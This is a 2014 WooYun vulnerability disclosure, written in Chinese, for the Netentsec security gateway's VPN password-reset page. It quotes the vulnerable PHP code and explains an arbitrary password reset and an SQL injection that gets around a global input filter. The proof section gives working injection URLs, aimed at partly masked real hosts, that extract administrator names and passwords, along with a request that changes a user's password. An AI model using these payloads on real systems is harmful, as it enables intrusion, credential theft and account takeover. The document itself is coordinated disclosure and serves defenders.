当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077810

漏洞标题:网康安全网关任意用户密码修改+SQL注入(绕过全局防注入)

相关厂商:网康科技

漏洞作者: 路人甲

提交时间:2014-09-29 17:42

修复时间:2014-12-28 17:42

公开时间:2014-12-28 17:42

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-29: 细节已通知厂商并且等待厂商处理中
2014-09-29: 厂商已经确认,细节仅向厂商公开
2014-10-02: 细节向第三方安全合作伙伴开放
2014-11-23: 细节向核心白帽子及相关领域专家公开
2014-12-03: 细节向普通白帽子公开
2014-12-13: 细节向实习白帽子公开
2014-12-28: 细节向公众公开

简要描述:

网康安全网关任意用户密码修改+SQL注入(绕过全局防注入)

详细说明:

0x01 漏洞信息
/vpnweb/resetpwd/resetpwd.php
产生漏洞的代码:

<?php
include("include/common.inc");
if(!str_check($username)||!str_check($UserId)||!str_check($password1))
exit;
switch ($action){
case "update":
$dbh = db_connect();
$update = "update ISCUserTable set Password='$password1' where UserId=$UserId";
db_update($dbh,$update,"重置密码");
form_logon($UserId,"",$para,"&nbsp;重置密码成功!",true);
db_close($dbh);
break;
}


0x02 任意用户密码修改
$update = "update ISCUserTable set Password='$password1' where UserId=$UserId";
从上面的代码可以知道修改密码只需要UserId即可修改,而该参数是可以猜测的,于是造成了漏洞。
0x03 SQL注入
进入SQL查询的代码为:
$update = "update ISCUserTable set Password='$password1' where UserId=$UserId";
可以知道,UserId没有单引号的保护,虽然UserId经过了str_check函数的检查
if(!str_check($username)||!str_check($UserId)||!str_check($password1))exit;
0x04 SQL注入漏洞证明
https://124.133.xx.xx:4443//vpnweb/resetpwd/resetpwd.php?action=update&password1=111111&UserId=1%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%23

11.jpg


https://218.xx.167.1x/vpnweb/resetpwd/resetpwd.php?action=update&password1=111111&UserId=1%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%23

22.jpg


0x05 任意用户密码修改证明
首先通过SQL注入查询出一个用户的UserId,UserName,Password,如图

44.jpg


接下来修改该用户的密码为:wooyun
只需要提交如下的的参数
https://218.xx.167.1x/vpnweb/resetpwd/resetpwd.php?action=update&password1=wooyun&UserId=7
再次注入出UserId为7的密码:

33.jpg


可以看见,已经被修改为:wooyun。(密码已改回原密码)

漏洞证明:

22.jpg

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2014-09-29 18:11

厂商回复:

该漏洞与WooYun-2014-属同一漏洞,建议合并,谢谢

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-29 17:42 | char ( 路人 | Rank:13 漏洞数:3 | 中国平安,不只保险这么简单。)

    这个可以有。

  2. 2014-10-20 10:03 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    我靠,这尼玛也可以啊。到底咋写的。而且他全局怎么过滤的啊……